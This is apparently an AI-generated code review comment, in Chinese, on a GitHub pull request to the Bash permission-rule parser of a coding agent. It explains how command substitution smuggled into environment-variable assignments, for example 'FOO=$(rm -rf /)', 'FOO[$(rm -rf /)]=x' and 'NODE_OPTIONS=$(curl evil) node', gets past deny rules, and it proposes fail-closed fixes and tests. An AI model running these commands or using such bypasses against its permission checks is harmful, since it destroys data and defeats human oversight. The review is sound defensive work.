修复方向:停止逐入口枚举——结构性闭合该表面。限制性路径的前导单词分类改用真实解析器(shell-quote 词法分析或等效权威来源),或至少失败保守:赋值单词包含未加引号的 $(...)、反引号、<(...)/>(...) 替换、数组值(= 后跟平衡括号)、含替换的下标,或单词扫描终止于未闭合区域时,不得剥离——把可执行文本保留在 remainder 中,且规则文本侧与命令侧共享同一保留形式。另外:仅在限制性路径让名称识别感知引号/转义;为 skipper 增加转义感知的 $'...' 状态;回退守卫拒绝剥离产生的 * specifier。

修复约束:rule-parser.env-prefix.test.ts:215-222 固化 deny Bash(NODE_OPTIONS=$(*) node)NODE_OPTIONS=$(curl evil) node → 'deny',依赖含替换赋值词在两侧都被剥离——"凡含 $( 即不剥离"会使其变红,保留形式必须两侧共享;:145 固化 matchesCommandPattern('FOO=* ls', 'FOO=$(id) ls') === false:47 固化 matchesCommandPattern('npm', 'FOO=bar npm --version') === falsepermission-manager.ts:76-77——赋值-only 限制性规则刻意没有剥离回退,修复不得为其引入。

修复验收:每个入口一条管理器级测试,回退对应修复后必须变红——配置 deny Bash(*rm*)/Bash(rm -rf *) + allow Bash(*) 时,evaluateFOO=$(rm -rf /)"FOO"=1 rm -rf /FOO=<(rm -rf /) lsFOO=$'a\'b' rm -rf /FOO=$(rm -rf /;echo x) lsFOO=(a b) rm -rf /FOO[$(rm -rf /)]=x 均必须解析为 'deny'(当前全部为 allow/ask)。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

review/self-reported The linked issue was opened by the PR author (self-reported)

Projects

None yet

4 participants